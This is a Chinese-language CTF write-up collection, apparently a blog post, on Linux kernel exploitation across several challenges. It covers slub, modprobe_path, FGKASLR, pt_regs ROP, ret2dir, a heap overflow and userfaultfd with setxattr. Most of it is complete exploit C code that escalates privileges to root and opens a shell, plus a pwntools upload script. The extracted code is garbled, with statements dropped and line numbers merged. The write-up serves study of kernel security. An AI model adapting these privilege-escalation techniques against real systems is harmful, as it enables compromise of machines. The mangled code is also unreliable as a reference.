1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 #include  <sys/types.h>  #include  <stdio.h>  #include  <linux/userfaultfd.h>  #include  <pthread.h>  #include  <errno.h>  #include  <unistd.h>  #include  <stdlib.h>  #include  <fcntl.h>  #include  <signal.h>  #include  <poll.h>  #include  <string.h>  #include  <sys/mman.h>  #include  <sys/syscall.h>  #include  <sys/ioctl.h>  #include  <sys/sem.h>  #include  <semaphore.h>  #include  <poll.h>  void  * kernel_base = 0xffffffff81000000 ;size_t  kernel_offset = 0 ;static  pthread_t  monitor_thread;void  errExit (char  * msg) printf ("\033[31m\033[1m[x] Error at: \033[0m%s\n" , msg);exit (EXIT_FAILURE);void  registerUserFaultFd (void  * addr, unsigned  long  len, void  (*handler)(void *)) long  uffd;struct  uffdio_api  uffdio_api;struct  uffdio_register  uffdio_register;int  s;syscall (__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);if  (uffd == -1 )errExit ("userfaultfd" );0 ;if  (ioctl (uffd, UFFDIO_API, &uffdio_api) == -1 )errExit ("ioctl-UFFDIO_API" );unsigned  long ) addr;if  (ioctl (uffd, UFFDIO_REGISTER, &uffdio_register) == -1 )errExit ("ioctl-UFFDIO_REGISTER" );pthread_create (&monitor_thread, NULL , handler, (void  *) uffd);if  (s != 0 )errExit ("pthread_create" );size_t  user_cs, user_ss, user_rflags, user_sp;void  saveStatus () "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" printf ("\033[34m\033[1m[*] Status has been saved.\033[0m\n" );size_t  commit_creds = NULL , prepare_kernel_cred = NULL ;void  getRootPrivilige (void ) void  * (*prepare_kernel_cred_ptr)(void  *) = prepare_kernel_cred;int  (*commit_creds_ptr)(void  *) = commit_creds;NULL ));void  getRootShell (void ) puts ("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m" );if (getuid ())puts ("\033[31m\033[1m[x] Failed to get the root!\033[0m" );exit (-1 );puts ("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m" );system ("/bin/sh" );struct  file_operations ;struct  tty_struct ;struct  tty_driver ;struct  serial_icounter_struct ;struct  tty_operations  {struct  tty_struct  * (*lookup)(struct  tty_driver *driver,struct  file *filp, int  idx);int   (*install)(struct  tty_driver *driver, struct  tty_struct *tty);void  (*remove)(struct  tty_driver *driver, struct  tty_struct *tty);int   (*open)(struct  tty_struct * tty, struct  file * filp);void  (*close)(struct  tty_struct * tty, struct  file * filp);void  (*shutdown)(struct  tty_struct *tty);void  (*cleanup)(struct  tty_struct *tty);int   (*write)(struct  tty_struct * tty,const  unsigned  char  *buf, int  count);int   (*put_char)(struct  tty_struct *tty, unsigned  char  ch);void  (*flush_chars)(struct  tty_struct *tty);int   (*write_room)(struct  tty_struct *tty);int   (*chars_in_buffer)(struct  tty_struct *tty);int   (*ioctl)(struct  tty_struct *tty,unsigned  int  cmd, unsigned  long  arg);long  (*compat_ioctl)(struct  tty_struct *tty,unsigned  int  cmd, unsigned  long  arg);void  (*set_termios)(struct  tty_struct *tty, struct  ktermios * old);void  (*throttle)(struct  tty_struct * tty);void  (*unthrottle)(struct  tty_struct * tty);void  (*stop)(struct  tty_struct *tty);void  (*start)(struct  tty_struct *tty);void  (*hangup)(struct  tty_struct *tty);int  (*break_ctl)(struct  tty_struct *tty, int  state);void  (*flush_buffer)(struct  tty_struct *tty);void  (*set_ldisc)(struct  tty_struct *tty);void  (*wait_until_sent)(struct  tty_struct *tty, int  timeout);void  (*send_xchar)(struct  tty_struct *tty, char  ch);int  (*tiocmget)(struct  tty_struct *tty);int  (*tiocmset)(struct  tty_struct *tty,unsigned  int  set, unsigned  int  clear);int  (*resize)(struct  tty_struct *tty, struct  winsize *ws);int  (*set_termiox)(struct  tty_struct *tty, struct  termiox *tnew);int  (*get_icount)(struct  tty_struct *tty,struct  serial_icounter_struct *icount);void  (*show_fdinfo)(struct  tty_struct *tty, struct  seq_file *m);#ifdef  CONFIG_CONSOLE_POLL int  (*poll_init)(struct  tty_driver *driver, int  line, char  *options);int  (*poll_get_char)(struct  tty_driver *driver, int  line);void  (*poll_put_char)(struct  tty_driver *driver, int  line, char  ch);#endif  const  struct  file_operations  *proc_fops;
从SUCTF2019sudrv学习slub和modprobe_path 建议第一次入门接触slub的师傅们先看一下linux 内核 内存管理 slub算法 (一) 原理 讲的非常详细,看完之后可以更好地理解本文的利用手法。
先来分析一下存在漏洞的驱动程序。
主要思路 因为开启了kaslr,所以需要泄露内核的加载基址,执行rop的时候需要将rop写到write函数的返回地址上,因此也需要泄露栈地址。在调用printk时出现格式化字符串漏洞,栈上刚好放着内核地址和栈地址
因此本题的思路为:
从D3CTF2021 liproll学习FGKASLR 可以根据wjh师傅 的这篇博客来学习一下FGKASLR以及内核的其他防护。
FGKASLR 在 KASLR 基地址随机化的基础上,在加载时刻,以函数粒度重新排布内核代码。
 
大概意思就是有些函数的偏移不再是固定的偏移,因此确定内核基址比较困难。但是还是有一部分节区或者gadget没有被细粒度随机化,所以可以多泄露几次内存,比较泄露两次内存中后三位不发生改变的内核地址,通过这个地址泄露内核基地址,并且modprobe_path的地址不会被随机化,所以用modprobe的利用手法比较简单。
首先来分析一下程序,我们可以看到这个函数中存在栈溢出,v1是我们传入的数据,没有限制大小,而v5在栈上,因此栈溢出越界写写到v6中去,在程序的最后会重新将v6赋给全局变量global_buffer,因此可以将global_buffer修改为我们想要的地址。重新调用这个函数就可以在memcpy处将我们想要的数据填入到我们想要的地址上。
而在这个函数中存在越界读漏洞,因为传入的a3没有限制大小
因此我们的思路是通过越界读确定内核基址,然后将global_buffer改为modprobe_path的地址,然后再修改modprobe_path的值为我们写的脚本,执行未知格式文件即可执行我们写的脚本。
常规查看modprobe_path的思路是
写的exp不稳定,特别容易崩,并且还不知道如何查看是否开启FGASLR,有知道的师傅可以联系我。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 #include <stdio.h>  #include  <pthread.h>   #include  <unistd.h>   #include  <stdlib.h>   #include  <sys/ioctl.h>   #include  <sys/types.h>   #include  <sys/stat.h>   #include  <sys/wait.h>   #include  <fcntl.h>   #include  <signal.h>  unsigned  long  user_cs, user_ss, user_rflags, user_sp;void  save_stat ()  asm ("movq %%cs, %0;" "movq %%ss, %1;" "movq %%rsp, %2;" "pushfq;" "popq %3;" "=r"  (user_cs), "=r"  (user_ss), "=r"  (user_sp), "=r"  (user_rflags) : : "memory" );void  shell () system ("/bin/sh" );exit (0 );struct  node {void  *buf;unsigned  int  len;int  fd;int  add () ioctl (fd, 0xd3c7f03 , 0 );int  choose (int  idx) int  *idxp = &idx;ioctl (fd, 0xd3c7f04 , idxp);int  edit (struct  node *nodep) ioctl (fd, 0xd3c7f01 , nodep);char  data[0x300 ];int  main () signal (SIGSEGV, shell);save_stat ();system ("echo -ne '#!/bin/sh\n/bin/cp /root/flag /tmp/flag\n/bin/chmod 777 /tmp/flag\n' > /tmp/chflag" );system ("chmod +x /tmp/chflag" );system ("echo -ne '\xff\xff\xff\xff' > /tmp/aaa" );system ("chmod +x /tmp/aaa" );open ("/dev/liproll" ,2 );if  (fd < 0 ) {printf ("[-] bad open device\n" );exit (-1 );printf ("[+]open drive\n" );struct  node  node1;malloc (0x1000 );0x108 ;add ();choose (0 );read (fd, data, 0x300 );printf ("[+] Leak address: \n" );for (int  i=0 ;i<0x300 /8 ;i++){printf ("0x%lx\n" ,*((size_t  *)data+i));printf ("0x%lx\n" ,*((size_t  *)data+52 ));size_t  kernel_base = *((size_t  *)data+52 )-(*((size_t  *)data+52 )&0xffffff );printf ("[+]kernel_base = 0x%lx\n" , kernel_base);size_t  modprobe_path =  kernel_base+0xffffffff82448460 -0xffffffff81000000 ;printf ("[+]modprobe_path = 0x%lx\n" , modprobe_path);size_t  *)node1.buf+0x20 )=modprobe_path;edit (&node1);strcpy (node1.buf, "/tmp/chflag" );0x10 ;edit (&node1);system ("/tmp/aaa" );return  0 ;
从西湖论剑2021easykernel学习pt_regs结构体的利用 linux系统调用的时候会把所有寄存器依次压入内核栈中形成pt_regs结构体。这一步是在调用syscall时的entry_SYSCALL_64函数来完成的。如图所示。之后各个寄存器按顺序压栈。想传什么数据(ROP)可以在用户态写汇编,这样就保存在了内核栈中。之后劫持内核流为add rsp, val;即可将内核流劫持到pt_regs结构体上,pt_regs上布置了我们要执行的ROP,因此可以getshell。
首先来分析一下题目。是一个菜单题,有读写申请释放功能,释放时没有将指针置空,因此存在UAF漏洞(注意读写和申请释放传入的不是同一种结构体,比较坑)。最大可以申请0x20大小的对象,seq_operations结构体也是0x20大小。因此可以申请后释放,再打开stat文件,stat文件申请的就是刚刚释放的对象,此时修改刚刚释放的对象,将start函数改为add rsp, val;即可。
当我们打开一个 stat 文件时(如 /proc/self/stat )便会在内核空间中分配一个 seq_operations 结构体,该结构体定义于 /include/linux/seq_file.h 当中,只定义了四个函数指针,如下:
 
1 2 3 4 5 6 struct  seq_operations  {void  * (*start) (struct  seq_file *m, loff_t  *pos);void  (*stop) (struct  seq_file *m, void  *v);void  * (*next) (struct  seq_file *m, void  *v, loff_t  *pos);int  (*show) (struct  seq_file *m, void  *v);
我们构造如下的ROP,至于为什么是swqpgs_restore_regs+8下面会提到。
首先我们一直跟syscall直到push r15处,我们可以看到r15处的rsp值为0xffffc90000217f58,然后我们跟到调用seq_operations的start函数处,看一下此时的rsp值为0xffffc90000217db8,相差0x1A0,因此我们尽量找add rsp, 0x1a0; ret的gadget,但是没有找到,因此找add rsp, 0x170的gadget,因为下面还有6个pop,因此可以实现add rsp, 0x1a0的效果。
此时已经将内核流劫持到我们的r15寄存器的位置,也就是ROP的地方。当我们执行到swapgs_restore_regs的位置时,我们看到栈顶存放的是我们一开始传入rbp的值,这也就是为什么是swqpgs_restore_regs+8的原因。
之后就可以getshell了。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 #include  <unistd.h>  #include  <fcntl.h>  #include  <stdio.h>  #include  <stdlib.h>  #include  <string.h>  #include  <sys/mman.h>  #define  SEQ_OPS 0xffffffff81319d30 #define  SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00f30 #define  INIT_CRED 0xffffffff82663300 #define  POP_RDI_RET 0xffffffff81089250 #define  COMMIT_CREDS 0xffffffff810c8d40 int  dev_fd;int  seq_fd;size_t  kernel_offset = 0 ;struct  op_chunk  {size_t  idx;size_t  size;void  *buf;struct  alloc_chunk  {size_t  size;void  *buf;void  readChunk (size_t  idx, size_t  size, void  *buf)  struct  op_chunk  op = {.idx = idx, .size = size, .buf = buf};ioctl (dev_fd, 0x40 , &op);void  writeChunk (size_t  idx, size_t  size, void  *buf)  struct  op_chunk  op = {.idx = idx, .size = size, .buf = buf};ioctl (dev_fd, 0x50 , &op);void  deleteChunk (size_t  idx)  struct  op_chunk  op = {.idx = idx};ioctl (dev_fd, 0x30 , &op);void  allocChunk (size_t  size, void  *buf)  struct  alloc_chunk  alloc = {.size = size, .buf = buf};ioctl (dev_fd, 0x20 , &alloc);size_t  buffer[0x100 ];size_t  swapgs_restore_regs_and_return_to_usermode;size_t  init_cred;size_t  pop_rdi_ret;size_t  commit_creds;size_t  gadget;int  main () open ("/dev/kerpwn" , O_RDWR);allocChunk (0x20 , buffer);deleteChunk (0 );open ("/proc/self/stat" , O_RDONLY);readChunk (0 , 0x20 , buffer);printf ("[*] start: %p\n" , (size_t ) buffer[0 ]);0 ] - SEQ_OPS;0xffffffff8172c151  + kernel_offset;0 ] = gadget;writeChunk (0 , 0x20 , buffer);8 ;"mov r15, pop_rdi_ret;" "mov r14, init_cred;" "mov r13, commit_creds;" "mov r12, swapgs_restore_regs_and_return_to_usermode;" "mov rbp, 0x9999999999999999;" "mov rbx, 0x8888888888888888;" "mov r11, 0x7777777777777777;" "mov r10, 0x6666666666666666;" "mov r9, 0x5555555555555555;" "mov r8, 0x4444444444444444;" "xor rax, rax;" "mov rcx, 3333333333333333;" "mov rdx, 8;" "mov rsi, rsp;" "mov rdi, seq_fd;" "syscall" system ("/bin/sh" );return  0 ;
从kgadget学习ret2dir与pt_regs ret2dir也就是return to direct mapped memory,具体原理可以直接参考bsauce师傅 和rtfingc师傅 的文章。文章中有小demo,大家可以调一下。
直接来看题,在ioctl函数中有call rbx,而rbx又是rdx地址存放的指针,因此存在一个指针解引用,按理说我们可以直接像上一题那样把ROP布置在pt_regs中,但是题目中对[rax-A8h]到[rax-70h]进行了销毁,pt_regs的大小为0xa8,因此销毁的是r15,r14,r13,r12,rbp,rbx以及r10,因此剩下的就剩r8和r9两个寄存器可以使用,我们可以用这两个寄存器进行栈迁移。首先用户态堆喷,以页为单位申请内存并构造ROP。此时这些已经够造好ROP的内存页也会被映射到内核中的direct mapping of all physical memory中。首先我们要先执行r8和r9寄存器中的栈迁移指令,因此需要计算call rbx时rsp与r9的距离。
可以看到,两者rsp相差0xc0,因此选择add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret的gadget,0xa0+4个pop。然后pop rsp之后进行栈迁移,从try_hit处一直用slide滑到ROP处,从而进行提权。为什么try_hit用0xffff888000000000+0x7000000,笔者猜0x7000000应该是一个神奇的数字。这道题exp中跳转到pt_regs的gadget和slide滑块用到的gadget是一样的,这里可能比较不好理解一点,具体可以调一下,自己调过之后会清晰很多(一定要自己调一下)。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 #define  _GNU_SOURCE #include  <unistd.h>  #include  <fcntl.h>  #include  <stdio.h>  #include  <stdlib.h>  #include  <string.h>  #include  <sys/mman.h>  #define  prepare_kernel_cred 0xffffffff810c9540 #define  commit_creds 0xffffffff810c92e0 #define  init_cred 0xffffffff82a6b700 size_t   pop_rdi_ret = 0xffffffff8108c6f0 ;size_t   pop_rax_ret = 0xffffffff810115d4 ;size_t   pop_rsp_ret = 0xffffffff811483d0 ;size_t   swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0  + 27 ;size_t   add_rsp_0xe8_pop_rbx_pop_rbp_ret = 0xffffffff812bd353 ;size_t   add_rsp_0xd8_pop_rbx_pop_rbp_ret = 0xffffffff810e7a54 ;size_t   add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe ;size_t   ret = 0xffffffff8108c6f1 ;size_t  user_cs, user_ss, user_rflags, user_sp;int  dev_fd;size_t  page_size;size_t  *physmap_spray_arr[16000 ];size_t  try_hit;void  saveStatus (void ) "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" printf ("\033[34m\033[1m[*] Status has been saved.\033[0m\n" );void  getRootShell (void ) puts ("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m" );if (getuid ())puts ("\033[31m\033[1m[x] Failed to get the root!\033[0m" );exit (-1 );puts ("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m" );system ("/bin/sh" );exit (0 );void  errExit (char  * msg) printf ("\033[31m\033[1m[x] Error : \033[0m%s\n" , msg);exit (EXIT_FAILURE);void  constructROPChain (size_t  *rop) int      idx = 0 ;for  (; idx < (page_size / 8  - 0x30 ); idx++)for  (; idx < (page_size / 8  - 0x10 ); idx++)size_t *) "arttnba3" ;size_t *) "arttnba3" ;size_t ) getRootShell;int  main () saveStatus ();open ("/dev/kgadget" , O_RDWR);if  (dev_fd < 0 )errExit ("dev fd!" );sysconf (_SC_PAGESIZE);for (int  i = 0 ; i < 16000 ; i++){mmap (NULL , page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 );if  (!physmap_spray_arr[i])errExit ("oom for physmap spray!" );constructROPChain (physmap_spray_arr[i]);       puts ("[*] trigger physmap one_gadget..." );0xffff888000000000  + 0x7000000 ;"mov r15,   0xbeefdead;" "mov r14,   0x11111111;" "mov r13,   0x22222222;" "mov r12,   0x33333333;" "mov rbp,   0x44444444;" "mov rbx,   0x55555555;" "mov r11,   0x66666666;" "mov r10,   0x77777777;" "mov r9,    pop_rsp_ret;"    "mov r8,    try_hit;" "mov rax,   0x10;" "mov rcx,   0xaaaaaaaa;" "mov rdx,   try_hit;" "mov rsi,   0x1bf52;" "mov rdi,   dev_fd;" "syscall" 
从InCTF的kqueue学习内核堆溢出 这道题断断续续看了一周,得出一个结论,一定要上手调,硬看是看不出来什么的,结合别人写的EXP去整理思路。save_kqueue_entries函数处
至于为什么会溢出,原因在于data_size是我们给的request.data_size是我们给的,而new_queue的定义为char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));(定义同样也在save函数里)。我们可以看到申请的大小是queue->queue_size,因此只要我们确保我们传入的data_size大小大于queue_size即可。
这道题用到的的seq_operations结构体(之前的题中已经用过了),seq_operations的大小为0x20,所以我们要确保new_queue的大小也为0x20,这样它们就会被分配在相邻的空间里。这样溢出就可以修改start函数指针为我们的shellcode。
那么如何确保queue_size为0x20大小呢,因为struct queue结构体就已经是0x20大小了,如果还有queue_entry数据的话肯定就会比0x20大了,因此我们在create_kqueue函数中要确保space的值为0。要确保space的值为0,就要确保max_entries+1为0。这里就用到了整数溢出,我们传入的max_entries的值为0xffff的话,+1就可变为0。
所以本题的思路已经很明显了,首先是整数溢出,然后堆喷,堆溢出覆写seq_operations的start函数。因为没有smep,smap和kpti保护,因此可以ret2usr。
我们调试的时候断在save_kqueue_entries函数处堆溢出的那个语句
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 #include  <stdlib.h>  #include  <stdio.h>  #include  <stdint.h>  #include  <string.h>  #include  <fcntl.h>  #include  <unistd.h>  #include  <sys/types.h>  #include  <sys/ioctl.h>  #include  <sys/prctl.h>  #include  <sys/syscall.h>  #include  <sys/mman.h>  #include  <sys/stat.h>  typedef  struct {uint32_t  max_entries;uint16_t  data_size;uint16_t  entry_idx;uint16_t  queue_idx;char * data;request_t ;long  dev_fd;size_t  user_cs, user_ss, user_rflags, user_sp;void  saveStatus (void ) "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" printf ("\033[34m\033[1m[*] Status has been saved.\033[0m\n" );void  getRootShell (void ) puts ("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m" );if (getuid ())puts ("\033[31m\033[1m[x] Failed to get the root!\033[0m" );exit (-1 );puts ("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m" );system ("/bin/sh" );exit (0 );void  errExit (char  * msg) printf ("\033[31m\033[1m[x] Error: \033[0m%s\n" , msg);exit (EXIT_FAILURE);void  createQueue (uint32_t  max_entries, uint16_t  data_size) request_t  req = ioctl (dev_fd, 0xDEADC0DE , &req);void  editQueue (uint16_t  queue_idx,uint16_t  entry_idx,char  *data) request_t  req =ioctl (dev_fd, 0xDAADEEEE , &req);void  deleteQueue (uint16_t  queue_idx) request_t  req = ioctl (dev_fd, 0xBADDCAFE , &req);void  saveQueue (uint16_t  queue_idx,uint32_t  max_entries,uint16_t  data_size) request_t  req =ioctl (dev_fd, 0xB105BABE , &req);void  shellcode (void ) "mov r12, [rsp + 0x8];" "sub r12, 0x201179;" "mov r13, r12;" "add r12, 0x8c580;"   "add r13, 0x8c140;"   "xor rdi, rdi;" "call r12;" "mov rdi, rax;" "call r13;" "swapgs;" "mov r14, user_ss;" "push r14;" "mov r14, user_sp;" "push r14;" "mov r14, user_rflags;" "push r14;" "mov r14, user_cs;" "push r14;" "mov r14, root_rip;" "push r14;" "iretq;" size_t  root_rip;int  main () long  seq_fd[0x200 ];size_t  *page;size_t  data[0x20 ];saveStatus ();size_t )getRootShell;open ("/dev/kqueue" , O_RDWR);if  (dev_fd < 0 )errExit ("FAILED to open the dev!" );for  (int  i = 0 ; i < 0x20 ; i++){size_t ) shellcode;createQueue (0xffffffff , 0x20  * 8 );editQueue (0 , 0 , data);for  (int  i = 0 ; i < 0x200 ; i++)open ("/proc/self/stat" , O_RDONLY);saveQueue (0 , 0 , 0x40 );for  (int  i = 0 ; i < 0x200 ; i++)read (seq_fd[i], data, 1 );
发送exp的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *"debug" open ("./exp" , "rb" ) as  f :exp  = base64.b64encode(f .read ())p  = process('./chall' )1 p .recvuntil("buildroot login: " )p .sendline("ctf" )p .recvuntil("Password: " )p .sendline("kqueue" )while  True:p .sendline()p .recvuntil("$" )count  = 0 for  i in range (0 , len (exp ), 0 x200):p .sendline("echo -n \""  + exp [i:i + 0 x200].decode() + "\" >> /tmp/b64_exp" )count  += 1 log .info("count: "  + str(count ))for  i in range (count ):p .recvuntil("$" )p .sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit" )p .sendline("chmod +x /tmp/exploit" )p .sendline("cd /tmp/ " )p .sendline("ls" )print (p .recv())break p .interactive()
编译EXP的命令
1 musl-gcc exp .c -o exp  -static  -masm=intel
从seccon2020的kstack学习userfaultfd+setxattr技术和shm_file_data结构体 本题也出现了打包文件系统后qemu启动不起来的问题,所以换了其他题的文件系统。arttnba3师傅 的博客。
1 2 3 SYS_setxattr ()path_setxattr ()setxattr ()
在 setxattr() 函数中有如下逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 static  long setxattr (struct  dentry *d, const  char  __user *name, const  void  __user *value,      size_t  size, int  flags) kvmalloc (size, GFP_KERNEL);if  (!kvalue)return  -ENOMEM;if  (copy_from_user (kvalue, value, size)) {kvfree (kvalue);return  error;
我们可以直接在用户态调用setxattr函数,形如setxattr("/flag", "7c00", uffd_buf_hack + page_size - 8, 32, 0);,其中第一个参数必须是一个存在的文件路径,value为我们要复制的起始地址,size为我们指定的大小,所以有了这个函数我们可以分配任意大小的对象并向其中写入任意内容。
但是该对象在setxattr函数执行结束时会被放到freelist中,而我们不想释放它,所以我们要在copy_from_user处将其卡住,具体的方式为:
我们通过 mmap 分配连续的两个页面,在第二个页面上启用 userfaultfd,并在第一个页面的末尾写入我们想要的数据,此时我们调用 setxattr 进行跨页面的拷贝,当 copy_from_user 拷贝到第二个页面时便会触发 userfaultfd,从而让 setxattr 的执行流程卡在此处,这样这个 object 就不会被释放掉,而是可以继续参与我们接下来的利用
 
arttnba3师傅 
shm_file_data结构体可以参考一下arttnba3师傅 
1 2 3 4 5 6 struct  shm_file_data  {struct  ipc_namespace  *ns;struct  file  *file;struct  vm_operations_struct  *vm_ops;
在 Linux 当中有一种 IPC 技术名为共享内存,在用户态中我们可以通过 shmget、shmat、shmctl、shmdt 这四个系统调用操纵共享内存。使用 shmget 系统调用可以获得一个共享内存对象,随后要使用 shmat 系统调用将共享内存对象映射到进程的地址空间,在该系统调用中调用了 do_shmat() 函数
1 2 3 4 5 6 7 8 9 10 11 12 long  do_shmat (int  shmid, char  __user *shmaddr, int  shmflg,          ulong  *raddr, unsigned long  shmlba )struct  shm_file_data *sfd;sizeof (*sfd), GFP_KERNEL);
我们可以看到这里创建了shm_file_data结构体。
1 2 3 4 5 6 7 8 9 10 static int  shm_release(struct  inode  * ino , struct  file  * file ) struct  shm_file_data *sfd = shm_file_data(file ) ;_ipc_ns(sfd ->ns ) ;_file_data(file )  = NULL;0 ;
从而将申请的shm_file_data结构体释放掉
题目分析 我们直接来看题目源码,源码实现了PUSH和POP功能,并且没有加锁,所以就存在竞争问题。
第一步 :tmp->value即是shm_file_data的ns域,泄露它即泄露了内核基址。
第二步 :kmalloc(sizeof(Element), GFP_KERNEL);。 pop 时通过 copy_to_user 触发 userfaultfd,在 userfaultfd 线程中再 pop 一次即可
第三步 :swapgs_restore_regs_and_return_to_usermode;函数中有几个push语句,又把这些值push进来了,所以题解中构造的这种ROP也可以成功返回用户态。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 #define  _GNU_SOURCE #include  <sys/types.h>  #include  <sys/xattr.h>  #include  <stdio.h>  #include  <linux/userfaultfd.h>  #include  <pthread.h>  #include  <errno.h>  #include  <unistd.h>  #include  <stdlib.h>  #include  <fcntl.h>  #include  <signal.h>  #include  <poll.h>  #include  <string.h>  #include  <sys/mman.h>  #include  <sys/syscall.h>  #include  <sys/ioctl.h>  #include  <sys/sem.h>  #include  <sys/ipc.h>  #include  <sys/shm.h>  #include  <semaphore.h>  #include  "kernelpwn.h"  int              dev_fd;size_t           seq_fd;size_t           seq_fd_reserve[0x100 ];static  char      *page = NULL ;static  size_t    page_size;static  void  *leak_thread (void  *arg) struct  uffd_msg  msg;int  fault_cnt = 0 ;long  uffd;struct  uffdio_copy  uffdio_copy;ssize_t  nread;long ) arg;for  (;;) struct  pollfd  pollfd;int  nready;poll (&pollfd, 1 , -1 );if  (nready == -1 )errExit ("poll" );read (uffd, &msg, sizeof (msg));if  (nread == 0 )errExit ("EOF on userfaultfd!\n" );if  (nread == -1 )errExit ("read" );if  (msg.event != UFFD_EVENT_PAGEFAULT)errExit ("Unexpected event on userfaultfd\n" );puts ("[*] push trapped in userfaultfd." );pop (&kernel_offset);printf ("[*] leak ptr: %p\n" , kernel_offset);0xffffffff81c37bc0 ;unsigned  long ) page;unsigned  long ) msg.arg.pagefault.address &1 );0 ;0 ;if  (ioctl (uffd, UFFDIO_COPY, &uffdio_copy) == -1 )errExit ("ioctl-UFFDIO_COPY" );return  NULL ;static  void  *double_free_thread (void  *arg) struct  uffd_msg  msg;int  fault_cnt = 0 ;long  uffd;struct  uffdio_copy  uffdio_copy;ssize_t  nread;long ) arg;for  (;;) struct  pollfd  pollfd;int  nready;poll (&pollfd, 1 , -1 );if  (nready == -1 )errExit ("poll" );read (uffd, &msg, sizeof (msg));if  (nread == 0 )errExit ("EOF on userfaultfd!\n" );if  (nread == -1 )errExit ("read" );if  (msg.event != UFFD_EVENT_PAGEFAULT)errExit ("Unexpected event on userfaultfd\n" );puts ("[*] pop trapped in userfaultfd." );puts ("[*] construct the double free..." );pop (page);unsigned  long ) page;unsigned  long ) msg.arg.pagefault.address &1 );0 ;0 ;if  (ioctl (uffd, UFFDIO_COPY, &uffdio_copy) == -1 )errExit ("ioctl-UFFDIO_COPY" );return  NULL ;size_t   pop_rdi_ret = 0xffffffff81034505 ;size_t   xchg_rax_rdi_ret = 0xffffffff81d8df6d ;size_t   mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a ;size_t   swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34 ;long     flag_fd;char     flag_buf[0x100 ];static  void  *hijack_thread (void  *arg) struct  uffd_msg  msg;int  fault_cnt = 0 ;long  uffd;struct  uffdio_copy  uffdio_copy;ssize_t  